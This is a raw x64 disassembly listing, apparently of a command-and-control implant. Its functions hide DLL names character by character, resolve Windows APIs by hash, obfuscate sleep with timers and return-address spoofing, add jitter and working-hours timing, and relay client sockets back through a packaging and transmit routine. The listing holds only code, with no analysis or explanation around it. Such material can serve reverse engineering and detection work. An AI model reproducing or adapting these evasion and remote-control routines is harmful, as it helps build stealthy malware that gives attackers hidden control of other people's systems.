Similarity

14001be80
14001be80RtSspicli:
14001be80push rbp
14001be81xor edx, edx
14001be83xor eax, eax
14001be85mov ecx, 83
14001be8apush rdi
14001be8blea rbp, [rip+0x10e5e]
14001be92push rsi
14001be93lea rsi, [rip+51702]
14001be9apush rbx
14001be9bsub rsp, 56
14001be9fmov [rsp+44], edx
14001bea3lea rdi, [rsp+36]
14001bea8mov [rsp+36], rax
14001beadcall HideChar
14001beb2xor ecx, ecx
14001beb4mov [rsp+36], al
14001beb8call HideChar
14001bebdmov ecx, 76
14001bec2mov [rsp+47], al
14001bec6call HideChar
14001becbmov ecx, 83
14001bed0mov [rsp+45], al
14001bed4call HideChar
14001bed9mov ecx, 73
14001bedemov [rsp+37], al
14001bee2call HideChar
14001bee7mov ecx, 46
14001beecmov [rsp+42], al
14001bef0call HideChar
14001bef5mov ecx, 76
14001befamov [rsp+43], al
14001befecall HideChar
14001bf03mov ecx, 68
14001bf08mov [rsp+41], al
14001bf0ccall HideChar
14001bf11mov ecx, 80
14001bf16mov [rsp+44], al
14001bf1acall HideChar
14001bf1fmov ecx, 76
14001bf24mov [rsp+38], al
14001bf28call HideChar
14001bf2dmov ecx, 67
14001bf32mov [rsp+46], al
14001bf36call HideChar
14001bf3bmov ecx, 73
14001bf40mov [rsp+40], al
14001bf44call HideChar
14001bf49mov rcx, rdi
14001bf4cmov [rsp+39], al
14001bf50call LdrModuleLoad
14001bf55mov rbx, [rip+0x10414]
14001bf5cmov ecx, 12
14001bf61test rax, rax
14001bf64mov [rbx+2206], rax
14001bf6bmov al, 0
14001bf6dje 0x14001c054
14001bf73rep stosb [rdi], al
14001bf75mov rcx, [rbx+2206]
14001bf7cmov edx, 0xffffffffd8f30a28
14001bf81call LdrFunctionAddr
14001bf86mov rcx, [rbx+2206]
14001bf8dmov edx, 0xffffffff876cc00b
14001bf92mov [rbx+1980], rax
14001bf99call LdrFunctionAddr
14001bf9emov rcx, [rbx+2206]
14001bfa5mov edx, 0xffffffff8aba5ef1
14001bfaamov [rbx+1988], rax
14001bfb1call LdrFunctionAddr
14001bfb6mov rcx, [rbx+2206]
14001bfbdmov edx, 0x1da98b7d
14001bfc2mov [rbx+1996], rax
14001bfc9call LdrFunctionAddr
14001bfcemov rcx, [rbx+2206]
14001bfd5mov edx, 0xffffffff916b1321
14001bfdamov [rbx+2004], rax
14001bfe1call LdrFunctionAddr
14001bfe6mov rcx, [rbx+2206]
14001bfedmov edx, 0x6d1a042d
14001bff2mov [rbx+2012], rax
14001bff9call LdrFunctionAddr
14001bffemov rcx, [rbx+2206]
14001c005mov edx, 0x1c698f42
14001c00amov [rbx+1956], rax
14001c011call LdrFunctionAddr
14001c016mov rcx, [rbx+2206]
14001c01dmov edx, 0xffffffffbca01141
14001c022mov [rbx+1964], rax
14001c029call LdrFunctionAddr
14001c02elea r9, [rip+51789]
14001c035mov rdx, rbp
14001c038mov rcx, rsi
14001c03bmov r8l, 419
14001c041mov [rbx+1972], rax
14001c048call printf.constprop.0
14001c04dmov eax, 1
14001c052jmp 0x14001c070
14001c054
14001c054loc_14001c054:
14001c054rep stosb [rdi], al
14001c056lea r9, [rip+51774]
14001c05dmov r8l, 422
14001c063mov rdx, rbp
14001c066mov rcx, rsi
14001c069call printf.constprop.0
14001c06exor eax, eax
14001c070
14001c070loc_14001c070:
14001c070add rsp, 56
14001c074pop rbx
14001c075pop rsi
14001c076pop rdi
14001c077pop rbp
14001c078ret
14001be80

14001c079
14001c079 // align 0x10

14001c080
14001c080RtUser32:
14001c080push rbp
14001c081xor edx, edx
14001c083xor eax, eax
14001c085mov ecx, 83
14001c08apush rdi
14001c08blea rbp, [rip+0x113fe]
14001c092push rsi
14001c093lea rsi, [rip+51190]
14001c09apush rbx
14001c09bsub rsp, 56
14001c09fmov [rsp+37], rax
14001c0a4lea rdi, [rsp+37]
14001c0a9mov [rsp+44], edx
14001c0adcall HideChar
14001c0b2mov ecx, 85
14001c0b7mov [rsp+38], al
14001c0bbcall HideChar
14001c0c0xor ecx, ecx
14001c0c2mov [rsp+37], al
14001c0c6call HideChar
14001c0cbmov ecx, 46
14001c0d0mov [rsp+47], al
14001c0d4call HideChar
14001c0d9mov ecx, 76
14001c0demov [rsp+43], al
14001c0e2call HideChar
14001c0e7mov ecx, 68
14001c0ecmov [rsp+45], al
14001c0f0call HideChar
14001c0f5mov ecx, 50
14001c0famov [rsp+44], al
14001c0fecall HideChar
14001c103mov ecx, 82
14001c108mov [rsp+42], al
14001c10ccall HideChar
14001c111mov ecx, 76
14001c116mov [rsp+40], al
14001c11acall HideChar
14001c11fmov ecx, 69
14001c124mov [rsp+46], al
14001c128call HideChar
14001c12dmov ecx, 51
14001c132mov [rsp+39], al
14001c136call HideChar
14001c13bmov rcx, rdi
14001c13emov [rsp+41], al
14001c142call LdrModuleLoad
14001c147mov rbx, [rip+0x10222]
14001c14emov ecx, 11
14001c153test rax, rax
14001c156mov [rbx+2150], rax
14001c15dmov al, 0
14001c15fje 0x14001c1e6
14001c165rep stosb [rdi], al
14001c167mov rcx, [rbx+2150]
14001c16emov edx, 0x29bbc91e
14001c173call LdrFunctionAddr
14001c178mov rcx, [rbx+2150]
14001c17fmov edx, 0x287c6401
14001c184mov [rbx+1660], rax
14001c18bcall LdrFunctionAddr
14001c190mov rcx, [rbx+2150]
14001c197mov edx, 0xd2b106c
14001c19cmov [rbx+1700], rax
14001c1a3call LdrFunctionAddr
14001c1a8mov rcx, [rbx+2150]
14001c1afmov edx, 0x6fbc050d
14001c1b4mov [rbx+1708], rax
14001c1bbcall LdrFunctionAddr
14001c1c0lea r9, [rip+51057]
14001c1c7mov rdx, rbp
14001c1camov rcx, rsi
14001c1cdmov r8l, 162
14001c1d3mov [rbx+1780], rax
14001c1dacall printf.constprop.0
14001c1dfmov eax, 1
14001c1e4jmp 0x14001c202
14001c1e6
14001c1e6loc_14001c1e6:
14001c1e6rep stosb [rdi], al
14001c1e8lea r9, [rip+51041]
14001c1efmov r8l, 165
14001c1f5mov rdx, rbp
14001c1f8mov rcx, rsi
14001c1fbcall printf.constprop.0
14001c200xor eax, eax
14001c202
14001c202loc_14001c202:
14001c202add rsp, 56
14001c206pop rbx
14001c207pop rsi
14001c208pop rdi
14001c209pop rbp
14001c20aret
14001c080

14001c20b
14001c20b // align 0x10

14001c210
14001c210RtWinHttp:
14001c210push rbp
14001c211xor edx, edx
14001c213xor eax, eax
14001c215mov ecx, 87
14001c21apush rdi
14001c21blea rbp, [rip+0x1043e]
14001c222push rsi
14001c223lea rsi, [rip+50790]
14001c22apush rbx
14001c22bsub rsp, 56
14001c22fmov [rsp+44], edx
14001c233lea rdi, [rsp+36]
14001c238mov [rsp+36], rax
14001c23dcall HideChar
14001c242mov ecx, 78
14001c247mov [rsp+36], al
14001c24bcall HideChar
14001c250mov ecx, 46
14001c255mov [rsp+38], al
14001c259call HideChar
14001c25exor ecx, ecx
14001c260mov [rsp+43], al
14001c264call HideChar
14001c269mov ecx, 76
14001c26emov [rsp+47], al
14001c272call HideChar
14001c277mov ecx, 84
14001c27cmov [rsp+46], al
14001c280call HideChar
14001c285mov ecx, 68
14001c28amov [rsp+40], al
14001c28ecall HideChar
14001c293mov ecx, 73
14001c298mov [rsp+44], al
14001c29ccall HideChar
14001c2a1mov ecx, 76
14001c2a6mov [rsp+37], al
14001c2aacall HideChar
14001c2afmov ecx, 80
14001c2b4mov [rsp+45], al
14001c2b8call HideChar
14001c2bdmov ecx, 72
14001c2c2mov [rsp+42], al
14001c2c6call HideChar
14001c2cbmov ecx, 84
14001c2d0mov [rsp+39], al
14001c2d4call HideChar
14001c2d9mov rcx, rdi
14001c2dcmov [rsp+41], al
14001c2e0call LdrModuleLoad
14001c2e5mov rbx, [rip+0x10084]
14001c2ecmov ecx, 12
14001c2f1test rax, rax
14001c2f4mov [rbx+2222], rax
14001c2fbmov al, 0
14001c2fdje 0x14001c444
14001c303rep stosb [rdi], al
14001c305mov rcx, [rbx+2222]
14001c30cmov edx, 0x613eace5
14001c311call LdrFunctionAddr
14001c316mov rcx, [rbx+2222]
14001c31dmov edx, 0xffffffff81e0c81d
14001c322mov [rbx+1180], rax
14001c329call LdrFunctionAddr
14001c32emov rcx, [rbx+2222]
14001c335mov edx, 0xffffffffb06d900e
14001c33amov [rbx+1188], rax
14001c341call LdrFunctionAddr
14001c346mov rcx, [rbx+2222]
14001c34dmov edx, 0x5b6ad378
14001c352mov [rbx+1196], rax
14001c359call LdrFunctionAddr
14001c35emov rcx, [rbx+2222]
14001c365mov edx, 0xffffffffa7355f15
14001c36amov [rbx+1204], rax
14001c371call LdrFunctionAddr
14001c376mov rcx, [rbx+2222]
14001c37dmov edx, 0x7739d0e6
14001c382mov [rbx+1212], rax
14001c389call LdrFunctionAddr
14001c38emov rcx, [rbx+2222]
14001c395mov edx, 0xffffffffa2c0b0e1
14001c39amov [rbx+1220], rax
14001c3a1call LdrFunctionAddr
14001c3a6mov rcx, [rbx+2222]
14001c3admov edx, 0xffffffffae351ae5
14001c3b2mov [rbx+1228], rax
14001c3b9call LdrFunctionAddr
14001c3bemov rcx, [rbx+2222]
14001c3c5mov edx, 0x75064b89
14001c3camov [rbx+1236], rax
14001c3d1call LdrFunctionAddr
14001c3d6mov rcx, [rbx+2222]
14001c3ddmov edx, 0xffffffffcc1a89c5
14001c3e2mov [rbx+1244], rax
14001c3e9call LdrFunctionAddr
14001c3eemov rcx, [rbx+2222]
14001c3f5mov edx, 0x28197a2
14001c3famov [rbx+1252], rax
14001c401call LdrFunctionAddr
14001c406mov rcx, [rbx+2222]
14001c40dmov edx, 0xffffffffa2cf3c6f
14001c412mov [rbx+1260], rax
14001c419call LdrFunctionAddr
14001c41elea r9, [rip+50871]
14001c425mov rdx, rbp
14001c428mov rcx, rsi
14001c42bmov r8l, 492
14001c431mov [rbx+1268], rax
14001c438call printf.constprop.0
14001c43dmov eax, 1
14001c442jmp 0x14001c460
14001c444
14001c444loc_14001c444:
14001c444rep stosb [rdi], al
14001c446lea r9, [rip+50856]
14001c44dmov r8l, 495
14001c453mov rdx, rbp
14001c456mov rcx, rsi
14001c459call printf.constprop.0
14001c45exor eax, eax
14001c460
14001c460loc_14001c460:
14001c460add rsp, 56
14001c464pop rbx
14001c465pop rsi
14001c466pop rdi
14001c467pop rbp
14001c468ret
14001c210

14001c469
14001c469 // align 0x10

14001c470
14001c470RtWs2_32:
14001c470push rbp
14001c471xor edx, edx
14001c473xor eax, eax
14001c475mov ecx, 87
14001c47apush rdi
14001c47blea rbp, [rip+0x10b6e]
14001c482push rsi
14001c483lea rsi, [rip+50182]
14001c48apush rbx
14001c48bsub rsp, 56
14001c48fmov [rsp+37], rax
14001c494lea rdi, [rsp+37]
14001c499mov [rsp+44], edx
14001c49dcall HideChar
14001c4a2mov ecx, 50
14001c4a7mov [rsp+37], al
14001c4abcall HideChar
14001c4b0mov ecx, 51
14001c4b5mov [rsp+39], al
14001c4b9call HideChar
14001c4bemov ecx, 46
14001c4c3mov [rsp+41], al
14001c4c7call HideChar
14001c4ccmov ecx, 76
14001c4d1mov [rsp+43], al
14001c4d5call HideChar
14001c4damov ecx, 83
14001c4dfmov [rsp+46], al
14001c4e3call HideChar
14001c4e8mov ecx, 95
14001c4edmov [rsp+38], al
14001c4f1call HideChar
14001c4f6mov ecx, 50
14001c4fbmov [rsp+40], al
14001c4ffcall HideChar
14001c504xor ecx, ecx
14001c506mov [rsp+42], al
14001c50acall HideChar
14001c50fmov ecx, 76
14001c514mov [rsp+47], al
14001c518call HideChar
14001c51dmov ecx, 68
14001c522mov [rsp+45], al
14001c526call HideChar
14001c52bmov rcx, rdi
14001c52emov [rsp+44], al
14001c532call LdrModuleLoad
14001c537mov rbx, [rip+65074]
14001c53emov ecx, 11
14001c543test rax, rax
14001c546mov [rbx+2198], rax
14001c54dmov al, 0
14001c54fje 0x14001c6c6
14001c555rep stosb [rdi], al
14001c557mov rcx, [rbx+2198]
14001c55emov edx, 0x142e89c3
14001c563call LdrFunctionAddr
14001c568mov rcx, [rbx+2198]
14001c56fmov edx, 0x32206eb8
14001c574mov [rbx+1844], rax
14001c57bcall LdrFunctionAddr
14001c580mov rcx, [rbx+2198]
14001c587mov edx, 0x8a4d8fa
14001c58cmov [rbx+1852], rax
14001c593call LdrFunctionAddr
14001c598mov rcx, [rbx+2198]
14001c59fmov edx, 0xffffffff9c1d912e
14001c5a4mov [rbx+1860], rax
14001c5abcall LdrFunctionAddr
14001c5b0mov rcx, [rbx+2198]
14001c5b7mov edx, 0xffffffffd5e978a9
14001c5bcmov [rbx+1868], rax
14001c5c3call LdrFunctionAddr
14001c5c8mov rcx, [rbx+2198]
14001c5cfmov edx, 0x7c828162
14001c5d4mov [rbx+1876], rax
14001c5dbcall LdrFunctionAddr
14001c5e0mov rcx, [rbx+2198]
14001c5e7mov edx, 0xffffffffbe7f0354
14001c5ecmov [rbx+1884], rax
14001c5f3call LdrFunctionAddr
14001c5f8mov rcx, [rbx+2198]
14001c5ffmov edx, 0xffffffffa460acf5
14001c604mov [rbx+1892], rax
14001c60bcall LdrFunctionAddr
14001c610mov rcx, [rbx+2198]
14001c617mov edx, 0x185953a4
14001c61cmov [rbx+1900], rax
14001c623call LdrFunctionAddr
14001c628mov rcx, [rbx+2198]
14001c62fmov edx, 0x7c8b3515
14001c634mov [rbx+1908], rax
14001c63bcall LdrFunctionAddr
14001c640mov rcx, [rbx+2198]
14001c647mov edx, 0x7c8bc2cf
14001c64cmov [rbx+1916], rax
14001c653call LdrFunctionAddr
14001c658mov rcx, [rbx+2198]
14001c65fmov edx, 0xffffffffe73478ef
14001c664mov [rbx+1924], rax
14001c66bcall LdrFunctionAddr
14001c670mov rcx, [rbx+2198]
14001c677mov edx, 0x4b91706c
14001c67cmov [rbx+1932], rax
14001c683call LdrFunctionAddr
14001c688mov rcx, [rbx+2198]
14001c68fmov edx, 0x307204e
14001c694mov [rbx+1940], rax
14001c69bcall LdrFunctionAddr
14001c6a0lea r9, [rip+50093]
14001c6a7mov rdx, rbp
14001c6aamov rcx, rsi
14001c6admov r8l, 379
14001c6b3mov [rbx+1948], rax
14001c6bacall printf.constprop.0
14001c6bfmov eax, 1
14001c6c4jmp 0x14001c6e2
14001c6c6
14001c6c6loc_14001c6c6:
14001c6c6rep stosb [rdi], al
14001c6c8lea r9, [rip+50077]
14001c6cfmov r8l, 382
14001c6d5mov rdx, rbp
14001c6d8mov rcx, rsi
14001c6dbcall printf.constprop.0
14001c6e0xor eax, eax
14001c6e2
14001c6e2loc_14001c6e2:
14001c6e2add rsp, 56
14001c6e6pop rbx
14001c6e7pop rsi
14001c6e8pop rdi
14001c6e9pop rbp
14001c6earet
14001c470

14001c6eb
14001c6eb // align 0x10

14001c6f0
14001c6f0Rva2Offset:
14001c6f0mov eax, ecx
14001c6f2movsxd rcx, [rdx+60]
14001c6f6add rcx, rdx
14001c6f9movzx edx, [rcx+20]
14001c6fdlea rdx, [rcx+rdx+24]
14001c702cmp eax, [rdx+20]
14001c705jb 0x14001c73a
14001c707mov r9w, [rcx+6]
14001c70cxor ecx, ecx
14001c70e
14001c70eloc_14001c70e:
14001c70ecmp r9w, cx
14001c712je 0x14001c738
14001c714mov r8l, [rdx+12]
14001c718cmp eax, r8l
14001c71bjb 0x14001c730
14001c71dmov r10l, [rdx+16]
14001c721add r10l, r8l
14001c724cmp eax, r10l
14001c727jae 0x14001c730
14001c729add eax, [rdx+20]
14001c72csub eax, r8l
14001c72fret
14001c730
14001c730loc_14001c730:
14001c730inc ecx
14001c732add rdx, 40
14001c736jmp 0x14001c70e
14001c738
14001c738loc_14001c738:
14001c738xor eax, eax
14001c73a
14001c73aloc_14001c73a:
14001c73aret
14001c6f0

14001c73b
14001c73b // align 0x10

14001c740
14001c740SharedSleep:
14001c740push rbx
14001c741mov rbx, rcx
14001c744imul rbx, rbx, 1000
14001c74bsub rsp, 32
14001c74fcall RandomNumber32
14001c754call SharedTimestamp
14001c759add rbx, rax
14001c75c
14001c75cloc_14001c75c:
14001c75ccall SharedTimestamp
14001c761cmp rax, rbx
14001c764jb 0x14001c75c
14001c766add rsp, 32
14001c76apop rbx
14001c76bjmp 0x14001c770
14001c740

14001c770
14001c770SharedTimestamp:
14001c770mov eax, [0x7ffe0014]
14001c777mov edx, [0x7ffe001c]
14001c77eshl rdx, 32
14001c782or rax, rdx
14001c785ret
14001c770

14001c786
14001c786 // align 0x10

14001c790
14001c790ShuffleArray:
14001c790push r12
14001c792lea r12, [rdx-1]
14001c796push rbp
14001c797mov ebp, 32767
14001c79cpush rdi
14001c79dmov rdi, rdx
14001c7a0push rsi
14001c7a1mov rsi, rcx
14001c7a4push rbx
14001c7a5xor ebx, ebx
14001c7a7sub rsp, 32
14001c7ab
14001c7abloc_14001c7ab:
14001c7abcmp rbx, r12
14001c7aejae 0x14001c7f1
14001c7b0call RandomNumber32
14001c7b5mov r8, rdi
14001c7b8xor edx, edx
14001c7basub r8, rbx
14001c7bdmov ecx, eax
14001c7bfmov rax, rbp
14001c7c2div r8
14001c7c5and ecx, 32767
14001c7cbxor edx, edx
14001c7cdlea r8, [rax+1]
14001c7d1mov rax, rcx
14001c7d4mov rcx, [rsi+8*rbx]
14001c7d8div r8
14001c7dbadd rax, rbx
14001c7delea rax, [rsi+8*rax]
14001c7e2mov rdx, [rax]
14001c7e5mov [rax], rcx
14001c7e8mov [rsi+8*rbx], rdx
14001c7ecinc rbx
14001c7efjmp 0x14001c7ab
14001c7f1
14001c7f1loc_14001c7f1:
14001c7f1add rsp, 32
14001c7f5pop rbx
14001c7f6pop rsi
14001c7f7pop rdi
14001c7f8pop rbp
14001c7f9pop r12
14001c7fbret
14001c790

14001c7fc
14001c7fc // align 0x10

14001c800
14001c800SleepObf:
14001c800push rdi
14001c801push rsi
14001c802push rbx
14001c803add rsp, -128
14001c807call SleepTime
14001c80cmov rbx, [rip+64349]
14001c813mov edx, [rbx+210]
14001c819test eax, eax
14001c81bje 0x14001c925
14001c821mov r9l, [rbx+2238]
14001c828mov esi, eax
14001c82atest r9l, r9l
14001c82dje 0x14001c84d
14001c82fmov r8l, 732
14001c835lea rdx, [rip+65076]
14001c83clea rcx, [rip+50371]
14001c843call printf
14001c848jmp 0x14001c8df
14001c84d
14001c84dloc_14001c84d:
14001c84dcmp edx, 2
14001c850ja 0x14001c85c
14001c852test edx, edx
14001c854je 0x14001c8df
14001c85ajmp 0x14001c8d4
14001c85c
14001c85cloc_14001c85c:
14001c85ccmp edx, 3
14001c85fjne 0x14001c8df
14001c861mov eax, r9l
14001c864lea rdi, [rsp+108]
14001c869mov ecx, 5
14001c86exor edx, edx
14001c870rep stosd [rdi], eax
14001c872lea rdi, [rsp+108]
14001c877mov rcx, rdi
14001c87acall [rbx+1492]
14001c880mov [rsp+112], rax
14001c885test rax, rax
14001c888je 0x14001c925
14001c88emov ecx, 24576
14001c893mov [rsp+32], rdi
14001c898xor r8l, r8l
14001c89bxor edx, edx
14001c89dlea r9, [rip-38132]
14001c8a4call [rbx+1516]
14001c8aamov [rsp+120], rax
14001c8afmov rcx, rax
14001c8b2test rax, rax
14001c8b5je 0x14001c8cc
14001c8b7mov [rsp+108], esi
14001c8bbcall [rbx+1508]
14001c8c1mov rcx, [rsp+120]
14001c8c6call [rbx+1524]
14001c8cc
14001c8ccloc_14001c8cc:
14001c8cccall [rbx+1500]
14001c8d2jmp 0x14001c925
14001c8d4
14001c8d4loc_14001c8d4:
14001c8d4mov ecx, eax
14001c8d6call TimerObf
14001c8dbtest eax, eax
14001c8ddjne 0x14001c925
14001c8df
14001c8dfloc_14001c8df:
14001c8dfmov rcx, [rbx+2118]
14001c8e6mov r8, [rbx+1692]
14001c8edor r9, -1
14001c8f1movsxd rax, [rcx+60]
14001c8f5mov edx, [rcx+rax+80]
14001c8f9xor eax, eax
14001c8fbmov [rsp+80], rax
14001c900mov [rsp+72], rax
14001c905mov [rsp+64], rax
14001c90amov [rsp+56], rax
14001c90fmov [rsp+48], rax
14001c914mov [rsp+40], rax
14001c919mov eax, esi
14001c91bmov [rsp+32], rax
14001c920call SpoofRetAddr
14001c925
14001c925loc_14001c925:
14001c925sub rsp, -128
14001c929pop rbx
14001c92apop rsi
14001c92bpop rdi
14001c92cret
14001c800

14001c92d
14001c92d // align 0x10

14001c930
14001c930SleepTime:
14001c930push r12
14001c932xor eax, eax
14001c934push rbp
14001c935push rdi
14001c936push rsi
14001c937push rbx
14001c938sub rsp, 48
14001c93cmov r12, [rip+64045]
14001c943mov [rsp+32], rax
14001c948imul ebx, [r12+96], 1000
14001c951mov [rsp+40], rax
14001c956mov esi, [r12+100]
14001c95bmov edi, [r12+132]
14001c963call InWorkingHours
14001c968test eax, eax
14001c96ajne 0x14001c9f0
14001c970test ebx, ebx
14001c972je 0x14001ca25
14001c978mov edx, edi
14001c97amov ebp, edi
14001c97clea rcx, [rsp+32]
14001c981mov ebx, edi
14001c983shr edx, 11
14001c986shr ebp, 6
14001c989mov esi, edx
14001c98bshr ebx, 17
14001c98eand ebp, 31
14001c991call [r12+1140]
14001c999and ebx, 31
14001c99cand esi, 63
14001c99fmovzx r8l, [rsp+40]
14001c9a5movzx ecx, [rsp+42]
14001c9aamovzx ebx, bx
14001c9admovzx edx, si
14001c9b0cmp r8w, bp
14001c9b4jne 0x14001c9c0
14001c9b6and edi, 63
14001c9b9cmp di, [rsp+42]
14001c9bejmp 0x14001c9c4
14001c9c0
14001c9c0loc_14001c9c0:
14001c9c0cmp bp, r8w
14001c9c4
14001c9c4loc_14001c9c4:
14001c9c4jae 0x14001c9de
14001c9c6mov eax, 23
14001c9cbimul ebx, ebx, 60
14001c9cesub eax, r8l
14001c9d1imul eax, eax, 60
14001c9d4add ebx, edx
14001c9d6sub eax, ecx
14001c9d8lea ebx, [rax+rbx+60]
14001c9dcjmp 0x14001c9e8
14001c9de
14001c9deloc_14001c9de:
14001c9desub ebx, r8l
14001c9e1sub edx, ecx
14001c9e3imul ebx, ebx, 60
14001c9e6add ebx, edx
14001c9e8
14001c9e8loc_14001c9e8:
14001c9e8imul ebx, ebx, 1000
14001c9eejmp 0x14001ca25
14001c9f0
14001c9f0loc_14001c9f0:
14001c9f0imul esi, ebx
14001c9f3cmp esi, 99
14001c9f6jbe 0x14001ca25
14001c9f8call RandomNumber32
14001c9fdxor edx, edx
14001c9ffmov r8l, 100
14001ca05mov ecx, eax
14001ca07mov eax, esi
14001ca09div r8l
14001ca0cxor edx, edx
14001ca0emov esi, eax
14001ca10mov eax, ecx
14001ca12div esi
14001ca14mov edi, edx
14001ca16call RandomBool
14001ca1btest eax, eax
14001ca1dje 0x14001ca23
14001ca1fadd ebx, edi
14001ca21jmp 0x14001ca25
14001ca23
14001ca23loc_14001ca23:
14001ca23sub ebx, edi
14001ca25
14001ca25loc_14001ca25:
14001ca25add rsp, 48
14001ca29mov eax, ebx
14001ca2bpop rbx
14001ca2cpop rsi
14001ca2dpop rdi
14001ca2epop rbp
14001ca2fpop r12
14001ca31ret
14001c930

14001ca32
14001ca32 // align 0x10

14001ca40
14001ca40SocketCleanDead:
14001ca40push rsi
14001ca41push rbx
14001ca42xor ebx, ebx
14001ca44sub rsp, 40
14001ca48mov rsi, [rip+63777]
14001ca4fmov rcx, [rsi+2326]
14001ca56
14001ca56loc_14001ca56:
14001ca56test rcx, rcx
14001ca59je 0x14001caa0
14001ca5bmov edx, [rcx+16]
14001ca5emov rax, [rcx+48]
14001ca62sub edx, 4
14001ca65cmp edx, 1
14001ca68jbe 0x14001ca72
14001ca6a
14001ca6aloc_14001ca6a:
14001ca6amov rbx, rcx
14001ca6dmov rcx, rax
14001ca70jmp 0x14001ca56
14001ca72
14001ca72loc_14001ca72:
14001ca72test rbx, rbx
14001ca75jne 0x14001ca8e
14001ca77mov [rsi+2326], rax
14001ca7ecall SocketFree
14001ca83mov rax, [rsi+2326]
14001ca8axor ecx, ecx
14001ca8cjmp 0x14001ca6a
14001ca8e
14001ca8eloc_14001ca8e:
14001ca8emov [rbx+48], rax
14001ca92call SocketFree
14001ca97mov rax, [rbx+48]
14001ca9bmov rcx, rbx
14001ca9ejmp 0x14001ca6a
14001caa0
14001caa0loc_14001caa0:
14001caa0add rsp, 40
14001caa4pop rbx
14001caa5pop rsi
14001caa6ret
14001ca40

14001caa7
14001caa7 // align 0x10

14001cab0
14001cab0SocketClients:
14001cab0push r14
14001cab2push r13
14001cab4push r12
14001cab6lea r12, [rip+50454]
14001cabdpush rbp
14001cabelea rbp, [rip+0x1069b]
14001cac5push rdi
14001cac6push rsi
14001cac7push rbx
14001cac8sub rsp, 80
14001caccmov rdi, [rip+63645]
14001cad3mov [rsp+76], 1
14001cadblea r13, [rsp+76]
14001cae0mov rbx, [rdi+2326]
14001cae7
14001cae7loc_14001cae7:
14001cae7test rbx, rbx
14001caeaje 0x14001cc00
14001caf0cmp [rbx+16], 1
14001caf4jne 0x14001cbf7
14001cafamov rcx, [rbx+8]
14001cafexor r8l, r8l
14001cb01xor edx, edx
14001cb03call [rdi+1900]
14001cb09mov rsi, rax
14001cb0ccmp rax, -1
14001cb10je 0x14001cbf7
14001cb16mov r9, rax
14001cb19mov r8l, 242
14001cb1fmov rdx, rbp
14001cb22mov rcx, r12
14001cb25call printf
14001cb2amov r8, r13
14001cb2dmov edx, 0xffffffff8004667e
14001cb32mov rcx, rsi
14001cb35call [rdi+1876]
14001cb3binc eax
14001cb3dje 0x14001cbce
14001cb43mov eax, [rbx+40]
14001cb46mov r8l, [rbx+20]
14001cb4axor r9l, r9l
14001cb4dmov edx, 3
14001cb52mov rcx, rsi
14001cb55mov [rsp+48], eax
14001cb59mov eax, [rbx+36]
14001cb5cmov [rsp+40], eax
14001cb60mov eax, [rbx+32]
14001cb63mov [rsp+32], eax
14001cb67call SocketNew
14001cb6cmov ecx, 2540
14001cb71mov r14, rax
14001cb74call PackageCreate
14001cb79mov edx, 16
14001cb7emov rcx, rax
14001cb81mov rsi, rax
14001cb84call PackageAddInt32
14001cb89mov edx, [r14]
14001cb8cmov rcx, rsi
14001cb8fcall PackageAddInt32
14001cb94mov edx, [r14+20]
14001cb98mov rcx, rsi
14001cb9bcall PackageAddInt32
14001cba0mov edx, [r14+32]
14001cba4mov rcx, rsi
14001cba7call PackageAddInt32
14001cbacmov edx, [r14+36]
14001cbb0mov rcx, rsi
14001cbb3call PackageAddInt32
14001cbb8mov edx, [r14+40]
14001cbbcmov rcx, rsi
14001cbbfcall PackageAddInt32
14001cbc4mov rcx, rsi
14001cbc7call PackageTransmit
14001cbccjmp 0x14001cbf7
14001cbce
14001cbceloc_14001cbce:
14001cbcemov rax, [rdi+2230]
14001cbd5lea rcx, [rip+49981]
14001cbdcmov r8l, 271
14001cbe2mov rdx, rbp
14001cbe5mov r9l, [rax+104]
14001cbe9call printf
14001cbeemov rcx, rsi
14001cbf1call [rdi+1908]
14001cbf7
14001cbf7loc_14001cbf7:
14001cbf7mov rbx, [rbx+48]
14001cbfbjmp 0x14001cae7
14001cc00
14001cc00loc_14001cc00:
14001cc00add rsp, 80
14001cc04pop rbx
14001cc05pop rsi
14001cc06pop rdi
14001cc07pop rbp
14001cc08pop r12
14001cc0apop r13
14001cc0cpop r14
14001cc0eret
14001cab0

14001cc0f
14001cc0f // align 0x10

14001cc10
14001cc10SocketFree:
14001cc10push rdi
14001cc11mov r8l, 431
14001cc17lea rdx, [rip+0x100e2]
14001cc1epush rsi
14001cc1fpush rbx
14001cc20mov rbx, rcx
14001cc23sub rsp, 32
14001cc27mov r9l, [rcx]
14001cc2alea rcx, [rip+50217]
14001cc31call printf
14001cc36mov eax, [rbx+16]
14001cc39cmp eax, 4
14001cc3cjne 0x14001cc88
14001cc3emov ecx, 2540
14001cc43call PackageCreate
14001cc48mov edx, 4
14001cc4dmov rcx, rax
14001cc50mov rsi, rax
14001cc53call PackageAddInt32
14001cc58mov edx, [rbx]
14001cc5amov rcx, rsi
14001cc5dcall PackageAddInt32
14001cc62mov edx, [rbx+20]
14001cc65mov rcx, rsi
14001cc68call PackageAddInt32
14001cc6dmov edx, [rbx+32]
14001cc70mov rcx, rsi
14001cc73call PackageAddInt32
14001cc78mov edx, [rbx+36]
14001cc7bmov rcx, rsi
14001cc7ecall PackageAddInt32
14001cc83mov edx, [rbx+40]
14001cc86jmp 0x14001ccb6
14001cc88
14001cc88loc_14001cc88:
14001cc88cmp eax, 5
14001cc8bjne 0x14001ccc6
14001cc8dmov ecx, 2540
14001cc92call PackageCreate
14001cc97mov edx, 19
14001cc9cmov rcx, rax
14001cc9fmov rsi, rax
14001cca2call PackageAddInt32
14001cca7mov edx, [rbx]
14001cca9mov rcx, rsi
14001ccaccall PackageAddInt32
14001ccb1mov edx, 2
14001ccb6
14001ccb6loc_14001ccb6:
14001ccb6mov rcx, rsi
14001ccb9call PackageAddInt32
14001ccbemov rcx, rsi
14001ccc1call PackageTransmit
14001ccc6
14001ccc6loc_14001ccc6:
14001ccc6mov rcx, [rbx+8]
14001cccamov rsi, [rip+63135]
14001ccd1test rcx, rcx
14001ccd4je 0x14001cce2
14001ccd6call [rsi+1908]
14001ccdcxor eax, eax
14001ccdemov [rbx+8], rax
14001cce2
14001cce2loc_14001cce2:
14001cce2mov rdi, rbx
14001cce5mov ecx, 56
14001cceaxor eax, eax
14001ccecrep stosb [rdi], al
14001cceemov rax, [rsi+2230]
14001ccf5mov r8, rbx
14001ccf8xor edx, edx
14001ccfamov rax, [rax+96]
14001ccfemov rcx, [rax+48]
14001cd02mov rax, [rsi+332]
14001cd09add rsp, 32
14001cd0dpop rbx
14001cd0epop rsi
14001cd0fpop rdi
14001cd10jmp rax
14001cc10

14001cd12
14001cd12 // align 0x10

14001cd20
